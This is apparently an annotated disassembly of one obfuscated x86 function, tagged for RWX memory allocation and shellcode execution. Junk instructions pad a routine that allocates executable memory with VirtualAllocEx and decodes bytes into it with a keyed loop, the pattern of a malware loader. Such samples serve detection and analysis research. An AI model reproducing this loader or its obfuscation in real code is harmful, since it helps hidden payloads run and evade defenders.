Function at 0x4069b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push edx
sub edx, edi
or edx, edi
sar edx, 3
pop edx
sub esp, 0xbc
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], ecx
add ecx, 0x24
push ebx
sub ebx, edi
xor ebx, eax
xor ebx, dword [ebp - 0x18]
sub ebx, dword [ebp - 8]
pop ebx
sub ecx, 0x24
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
add edx, 0x19
add edx, 2
push esi
add esi, edx
sub esi, dword [ebp - 0x14]
or esi, ecx
pop esi
sub edx, 2
sub edx, 0x19
mov dword [ebp - 0x74], 0
add ecx, 0x4a
push ecx
and ecx, edi
and ecx, eax
add ecx, edx
sub ecx, edx
mov ecx, esi
pop ecx
sub ecx, 0x4a
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x7c], 0
add eax, 0
push eax
mov eax, dword [ebp - 0x18]
and eax, esi
add eax, dword [ebp - 0x18]
shr eax, 0x3e
or eax, edi
pop eax
sub eax, 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa0], 0
add edi, 0x51
add ecx, 0x3e
push esi
and esi, 1
or esi, 0x4b
pop esi
sub ecx, 0x3e
sub edi, 0x51
cmp dword [ebp - 0x64], 0
je 0x406af7
cmp dword [ebp - 0x60], 0
je 0x406af7
add esi, 2
push ebx
pop ebx
sub esi, 2
cmp dword [ebp - 0x5c], 0
jne 0x406b03
mov dword [ebp - 0x58], 0
jmp 0x40765f
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0
add ebx, 0xc
push edi
sub edi, eax
mov edi, esi
add ebx, 0x1f
sub ebx, 0x1f
pop edi
sub ebx, 0xc
mov eax, dword [ebp - 0x54]
add edx, 0x3f
push edi
pop edi
sub edx, 0x3f
cmp eax, dword [0x4180cc]
jae 0x406bcb
lea eax, [0x418054]
imul ecx, dword [ebp - 0x54], 0xc
add eax, ecx
push edx
sub edx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
add edi, 0x37
sub edi, 0x37
shl edx, 0x35
xor edx, ebx
pop edx
mov eax, dword [eax + 4]
push edx
pop edx
cmp eax, dword [ebp - 0x50]
jne 0x406bb0
lea eax, [0x418054]
imul ecx, dword [ebp - 0x54], 0xc
add eax, 8
add edx, 0x38
sub edx, 0x38
sub eax, 8
add eax, ecx
mov dword [ebp - 0x4c], eax
jmp 0x406bd2
mov eax, dword [ebp - 0x54]
sub eax, 0x73d13eba
nop
add eax, 1
add eax, 0x73d13eba
mov dword [ebp - 0x54], eax
jmp 0x406b10
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x6c], eax
nop
cmp dword [ebp - 0x6c], 0
jne 0x406bf2
mov dword [ebp - 0x58], 0
jmp 0x40765f
mov eax, dword [ebp - 0x6c]
cmp dword [eax + 8], 0
je 0x406c10
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 8]
mov dword [ebp - 0x58], eax
jmp 0x40765f
lea eax, [0x40e660]
mov ecx, dword [ebp - 0x6c]
add edi, 0x54
push edi
pop edi
sub edi, 0x54
add eax, dword [ecx]
add ebx, 0x4c
sub ebx, 0x4c
mov dword [ebp - 0x68], eax
mov eax, esp
push ecx
xor ecx, edx
mov ecx, dword [ebp - 0xc]
pop ecx
mov dword [eax], 0
push esi
pop esi
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
shl eax, 0x23
mov eax, dword [ebp - 8]
and eax, dword [ebp - 8]
and eax, dword [ebp - 0x10]
and eax, edi
pop eax
call eax
sub esp, 4
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x68]
add eax, 0x2f
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x23]
shl eax, 1
mov ecx, dword [ebp - 0x68]
add ecx, 0x2f
shl eax, 2
add ecx, eax
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x23]
shl eax, 1
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x27]
shl ecx, 1
sub eax, 0xa90f9685
add eax, ecx
add edi, 0x3f
sub edi, 0x3f
add eax, 0xa90f9685
push edx
pop edx
mov ecx, dword [ebp - 0x68]
add ecx, 0x2f
shl eax, 2
add esi, 8
sub esi, 8
add ecx, eax
mov dword [ebp - 0x80], ecx
mov eax, dword [ebp - 0x5c]
mov ecx, esp
push esi
add esi, dword [ebp - 8]
mov esi, dword [ebp - 8]
or esi, dword [ebp - 0x18]
sub esi, eax
or esi, ebx
pop esi
mov dword [ecx + 8], eax
push edi
add edi, dword [ebp - 0x18]
sub edi, dword [ebp - 0x14]
push edx
sub edx, dword [ebp - 0x18]
xor edx, ecx
and edx, 0x21
and edx, ebx
pop edx
pop edi
mov dword [ecx + 0x10], 0x40
nop
mov dword [ecx + 0xc], 0x1000
mov dword [ecx + 4], 0
add ebx, 0x59
sub ebx, 0x59
mov dword [ecx], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
add ebx, 0x42
sub ebx, 0x42
sub esp, 0x14
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x406d65
mov dword [ebp - 0x58], 0
jmp 0x40765f
mov eax, dword [ebp - 0xb0]
mov ecx, dword [0x4180d0]
sub eax, 0x7ced2fe9
add ecx, 0xa
push esi
mov esi, dword [ebp - 0x18]
and esi, edi
sar esi, 0x5a
and esi, dword [ebp - 0x18]
pop esi
sub ecx, 0xa
sub eax, ecx
add eax, 0x7ced2fe9
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xb0]
push eax
or eax, edx
push esi
or esi, edx
mov esi, dword [ebp - 0x14]
or esi, eax
pop esi
sub eax, dword [ebp - 8]
or eax, ecx
pop eax
sub eax, 0x1ad38093
add eax, ecx
push edx
pop edx
add eax, 0x1ad38093
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x5c]
jae 0x407656
mov eax, dword [ebp - 0x64]
add edi, 0x3e
push ebx
add ebx, dword [ebp - 8]
sub ebx, edi
sub ebx, dword [ebp - 0x14]
or ebx, esi
or ebx, ecx
pop ebx
sub edi, 0x3e
mov ecx, dword [ebp - 0x90]
nop
sub eax, 0xcd15ce26
add esi, 0x29
add edi, 0x2b
nop
sub edi, 0x2b
sub esi, 0x29
add eax, ecx
add eax, 0xcd15ce26
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x18]
jae 0x406ef9
push eax
pop eax
mov eax, dword [ebp - 0x20]
push esi
add eax, 0x48
push eax
and eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
xor eax, 0x26
add eax, ecx
pop eax
sub eax, 0x48
sar esi, 0x40
sub esi, edi
and esi, ebx
add esi, dword [ebp - 0xc]
pop esi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + eax*8]
push eax
pop eax
cmp eax, dword [ebp - 0x14]
jne 0x406edd
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
push edi
add edi, edx
add edi, esi
xor edi, dword [ebp - 0x10]
add edi, eax
pop edi
add ecx, eax
mov dword [ebp - 0x10], ecx
jmp 0x406f00
push edx
pop edx
mov eax, dword [ebp - 0x20]
sub eax, 0xe67325b3
add eax, 1
add eax, 0xe67325b3
mov dword [ebp - 0x20], eax
jmp 0x406e72
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
push esi
add esi, ecx
or esi, dword [ebp - 0x10]
add esi, edx
xor esi, ebx
and esi, edx
pop esi
mov dword [ebp - 0x74], eax
cmp eax, 0
je 0x407095
mov eax, 0
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx + 4]
mov edx, dword [ebp - 0x68]
mov edx, dword [edx + 0x1f]
mov esi, ecx
xor esi, 0xffffffff
add ecx, 0x57
add ecx, 0x47
push ecx
pop ecx
sub ecx, 0x47
sub ecx, 0x57
mov edi, edx
and edi, esi
xor edx, 0xffffffff
and ecx, edx
push eax
sub eax, ecx
xor eax, dword [ebp - 0x14]
pop eax
or edi, ecx
add edx, 0x33
push ecx
sub ecx, ebx
xor ecx, dword [ebp - 0x18]
and ecx, dword [ebp - 0x10]
add ecx, edx
and ecx, edx
pop ecx
sub edx, 0x33
mov ecx, dword [ebp - 0xb0]
mov edx, eax
sub edx, ecx
sub edi, edx
add esi, 2
push edi
add edi, dword [ebp - 0x14]
add edx, 0x32
push esi
add esi, eax
or esi, dword [ebp - 8]
add esi, dword [ebp - 8]
xor esi, dword [ebp - 0xc]
pop esi
sub edx, 0x32
pop edi
sub esi, 2
mov dword [ebp - 0xa8], edi
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0x88]
mov esi, dword [ebp - 0x90]
add edx, 0x6436fc67
add edx, esi
add eax, 0x1c
sub eax, 0x1c
sub edx, 0x6436fc67
mov esi, eax
sub esi, 4
sub edx, esi
add eax, 0x23
push ecx
pop ecx
sub eax, 0x23
mov esi, eax
sub esi, edx
add ecx, esi
push ebx
mov ebx, esi
xor ebx, edx
sub ebx, edx
pop ebx
mov edx, dword [ebp - 0x88]
mov esi, dword [ebp - 0x90]
push edx
pop edx
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0x90]
push esi
xor esi, dword [ebp - 0x10]
and esi, eax
add edx, 0x36
sub edx, 0x36
pop esi
sub eax, 4
sub ecx, eax
add ecx, 7
add eax, 0x2e
push eax
sub eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x10]
mov eax, ecx
pop eax
sub eax, 0x2e
sub ecx, 7
mov dword [ebp - 0x90], ecx
push edx
xor edx, edi
sub edx, ebx
shr edx, 0x5b
xor edx, ebx
or edx, dword [ebp - 0x10]
pop edx
mov eax, dword [ebp - 0x9c]
add eax, 0x402d1f3a
add eax, 1
sub eax, 0x402d1f3a
mov dword [ebp - 0x9c], eax
jmp 0x406df5
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], 0
add edi, 0x5a
add edx, 0x3f
nop
sub edx, 0x3f
sub edi, 0x5a
mov eax, dword [ebp - 0x34]
push ebx
mov ebx, esi
sub ebx, ecx
mov ebx, dword [ebp - 8]
shr ebx, 0x16
add ebx, dword [ebp - 0x10]
pop ebx
cmp eax, dword [ebp - 0x2c]
jae 0x407149
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx + eax*8]
push ecx
add ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
pop ecx
cmp eax, dword [ebp - 0x28]
jne 0x407115
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x24], ecx
jmp 0x407150
mov eax, dword [ebp - 0x34]
nop
add eax, 0xfe96d367
add esi, 3
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov eax, ecx
add eax, dword [ebp - 8]
pop eax
sub esi, 3
add eax, 1
sub eax, 0xfe96d367
mov dword [ebp - 0x34], eax
jmp 0x4070b4
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
nop
mov dword [ebp - 0x74], eax
cmp eax, 0
je 0x4072e7
mov eax, 0xffffffff
mov ecx, dword [ebp - 0xa4]
push ecx
pop ecx
mov edx, dword [ebp - 0xb0]
add ebx, 0x57
sub ebx, 0x57
add ecx, 0x30ddcb24
add ecx, edx
add esi, 0x18
sub esi, 0x18
sub ecx, 0x30ddcb24
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
push eax
sub eax, dword [ebp - 0x10]
sub eax, esi
or eax, ecx
pop eax
add ecx, 0x4a6bb320
add esi, 0x46
add edi, 0x33
push ecx
sub ecx, 0x3c
sub ecx, ebx
xor ecx, eax
pop ecx
sub edi, 0x33
sub esi, 0x46
sub ecx, edx
sub ecx, 0x4a6bb320
mov edx, dword [ebp - 0x68]
mov edx, dword [edx + 0x1f]
push ecx
pop ecx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x77a2ad19
push esi
and esi, dword [ebp - 0x14]
push ebx
pop ebx
mov esi, dword [ebp - 0x18]
sub esi, dword [ebp - 0xc]
pop esi
xor eax, 0x77a2ad19
and ecx, eax
mov edi, edx
xor edi, 0xffffffff
add ebx, 6
sub ebx, 6
and edi, 0x77a2ad19
add esi, 0x36
push eax
pop eax
sub esi, 0x36
and edx, eax
or esi, ecx
or edi, edx
xor esi, edi
nop
mov eax, dword [ebp - 0xb4]
nop
add esi, 0xa824d013
add esi, eax
sub esi, 0xa824d013
push ecx
pop ecx
mov dword [ebp - 0xac], esi
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x90]
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0x90]
add ebx, 0xe
push edi
sub edi, 0x36
add ecx, 0x62
sub ecx, 0x62
sub edi, dword [ebp - 0xc]
sub edi, dword [ebp - 0xc]
or edi, 9
pop edi
sub ebx, 0xe
sub eax, 0xeef9e2b0
add eax, 4
add eax, 0xeef9e2b0
add edx, 0x2e
sub edx, 0x2e
mov dword [ebp - 0x90], eax
push edx
sub edx, dword [ebp - 0x14]
and edx, edi
and edx, ebx
pop edx
mov eax, dword [ebp - 0xa0]
sub eax, 0xbac34e2
add eax, 1
add eax, 0xbac34e2
mov dword [ebp - 0xa0], eax
jmp 0x406df5
jmp 0x4072ec
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x2b]
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x40]
jae 0x407393
add ebx, 0
add edx, 3
push esi
mov esi, dword [ebp - 0xc]
mov esi, ecx
add eax, 0x34
push eax
and eax, edx
or eax, ebx
xor eax, dword [ebp - 0x18]
and eax, dword [ebp - 0x14]
and eax, 0x56
pop eax
sub eax, 0x34
sub esi, dword [ebp - 0x10]
pop esi
sub edx, 3
sub ebx, 0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x3c]
jne 0x40737c
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x38], ecx
jmp 0x40739a
mov eax, 0
mov ecx, dword [ebp - 0x48]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x48], ecx
jmp 0x40730b
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x7c], eax
cmp eax, 0
je 0x4075e4
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x98]
add esi, 0x29
add eax, 0x27
add ecx, 1
sub ecx, 1
sub eax, 0x27
sub esi, 0x29
mov ecx, dword [ebp - 0x7c]
cmp eax, dword [ecx + 4]
jae 0x4075a5
push eax
sub eax, 0x26
add eax, dword [ebp - 0x14]
or eax, ebx
xor eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x10]
pop eax
mov eax, 0xffffffff
push ecx
xor ecx, ebx
or ecx, eax
add ecx, dword [ebp - 8]
and ecx, edi
or ecx, eax
pop ecx
mov ecx, 0
mov edx, dword [ebp - 0x90]
add esi, 0x4a
sub esi, 0x4a
mov esi, dword [ebp - 0x84]
movzx edx, byte [esi + edx]
mov esi, dword [ebp - 0x94]
push esi
mov esi, ecx
xor esi, dword [ebp - 0xc]
sar esi, 0x4a
pop esi
sub ecx, 1
mov edi, esi
sub edi, ecx
mov dword [ebp - 0x94], edi
mov ecx, dword [ebp - 0x68]
movzx ecx, byte [ecx + esi + 1]
push edi
pop edi
mov esi, edx
xor esi, 0xffffffff
and esi, 0x892e0bf3
xor eax, 0x892e0bf3
and edx, eax
mov edi, ecx
push ebx
and ebx, eax
sub ebx, dword [ebp - 8]
add ebx, esi
sub ebx, eax
pop ebx
xor edi, 0xffffffff
and edi, 0x892e0bf3
and ecx, eax
push edx
and edx, dword [ebp - 0x14]
add edx, 0x2d
sub edx, esi
add edx, esi
pop edx
or esi, edx
add esi, 0xa
add eax, 0xf
sub eax, 0xf
sub esi, 0xa
or edi, ecx
xor esi, edi
push esi
and esi, ecx
and esi, ebx
pop esi
mov eax, esi
add ecx, 0x3e
sub ecx, 0x3e
mov bl, al
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x88]
add edx, 0x36
add ecx, 0x3f
add ecx, 0x12
add esi, 0x1e
sub esi, 0x1e
sub ecx, 0x12
sub ecx, 0x3f
sub edx, 0x36
mov byte [ecx + eax], bl
mov eax, dword [ebp - 0x94]
add ebx, 0x32
push ecx
or ecx, ebx
and ecx, edx
xor ecx, 0x1b
sar ecx, 0x42
pop ecx
sub ebx, 0x32
mov ecx, dword [ebp - 0x68]
movzx ecx, byte [ecx]
cmp eax, ecx
jne 0x407546
mov dword [ebp - 0x94], 0
jmp 0x40754b
mov eax, 0
mov ecx, dword [ebp - 0x98]
add ecx, 0x5a8288d5
push ebx
xor ebx, edx
mov ebx, edx
mov ebx, esi
or ebx, edi
pop ebx
add ecx, 1
sub ecx, 0x5a8288d5
mov dword [ebp - 0x98], ecx
mov ecx, dword [ebp - 0x90]
add ecx, 0xc
sub ecx, 0xc
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x90], eax
jmp 0x4073b5
mov eax, 0
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x8c]
mov esi, eax
sub esi, edx
mov edx, eax
sub edx, ecx
add esi, edx
add ecx, 0x5b
push ecx
add ecx, dword [ebp - 0x14]
xor ecx, esi
or ecx, edx
mov ecx, ebx
pop ecx
sub ecx, 0x5b
sub eax, esi
mov dword [ebp - 0x8c], eax
jmp 0x407651
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x84]
push edi
pop edi
mov dl, byte [ecx + eax]
add ecx, 0x5b
push edi
add edi, dword [ebp - 8]
sub edi, dword [ebp - 0x14]
or edi, 0x5d
pop edi
sub ecx, 0x5b
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x88]
add edx, 0x13
add ebx, 0x3e
sub ebx, 0x3e
sub edx, 0x13
mov byte [ecx + eax], dl
mov eax, dword [ebp - 0x90]
sub eax, 0x659b7c86
add eax, 1
add eax, 0x659b7c86
mov dword [ebp - 0x90], eax
jmp 0x406df5
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x58], eax
add edi, 5
push ecx
sub ecx, esi
add ecx, dword [ebp - 0xc]
sub ecx, ebx
pop ecx
sub edi, 5
mov eax, dword [ebp - 0x58]
push ebx
or ebx, dword [ebp - 8]
push edx
xor edx, esi
mov edx, dword [ebp - 0x10]
push ecx
or ecx, edx
or ecx, 0x4e
sub ecx, ebx
sub ecx, eax
pop ecx
mov edx, eax
pop edx
pop ebx
add esp, 0xbc
pop esi
pop edi
pop ebx
pop ebp
ret